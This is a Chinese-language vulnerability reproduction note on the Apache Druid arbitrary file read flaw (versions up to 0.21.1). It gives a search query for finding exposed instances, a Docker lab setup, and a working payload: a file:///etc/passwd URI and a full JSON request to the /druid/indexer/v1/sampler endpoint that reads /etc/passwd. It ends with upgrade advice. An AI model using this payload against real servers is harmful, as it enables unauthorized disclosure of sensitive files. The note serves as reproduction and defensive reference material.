1.漏洞描述
Apache Druid 是一个集时间序列数据库、数据仓库和全文检索系统特点于一体的分析性数据平台。Apache Druid对用户指定的HTTP InputSource没有做限制,并且Apache Druid默认管理页面是不需要认证即可访问的,可以通过将文件URL传递给HTTP InputSource来绕过。因此未经授权的远程攻击者可以通过构造恶意参数读取服务器上的任意文件,造成服务器敏感性信息泄露。
2.影响版本
Apache Druid <= 0.21.1
3.网络资产扫描
title="Apache Druid"
4.漏洞环境搭建
使用docker搭建
下载:https://github.com/apache/druid/archive/druid-0.20.0.zip
解压后,进入druid-druid-0.20.0/distribution/docker目录,进行安装
cd druid-druid-0.20.0/distribution/docker
docker-compose up -d
搭建完成后,访问8888端口
http://192.168.42.145:8888/unified-console.html
5.漏洞复现
点击Load data –>HTTP(s)–>Connect data–>URIs(使用file://协议进行读取)
URlS写入payload:file///etc/passwd,再点击Apply,在当前页面显示结果
当Load data无法点击时,可以向接口/druid/indexer/v1/sampler以POST请求的方式发送以下数据
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"inputSource": {
"type": "local",
"baseDir": "/etc/",
"filter": "passwd"
},
"inputFormat": {
"type": "json",
"keepNullColumns": true
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "timestamp",
"format": "iso",
"missingValue": "1970"
},
"dimensionsSpec": {}
}
},
"type": "index",
"tuningConfig": {
"type": "index"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
6.修复建议
升级至Apache Druid 0.22.0及以上版本。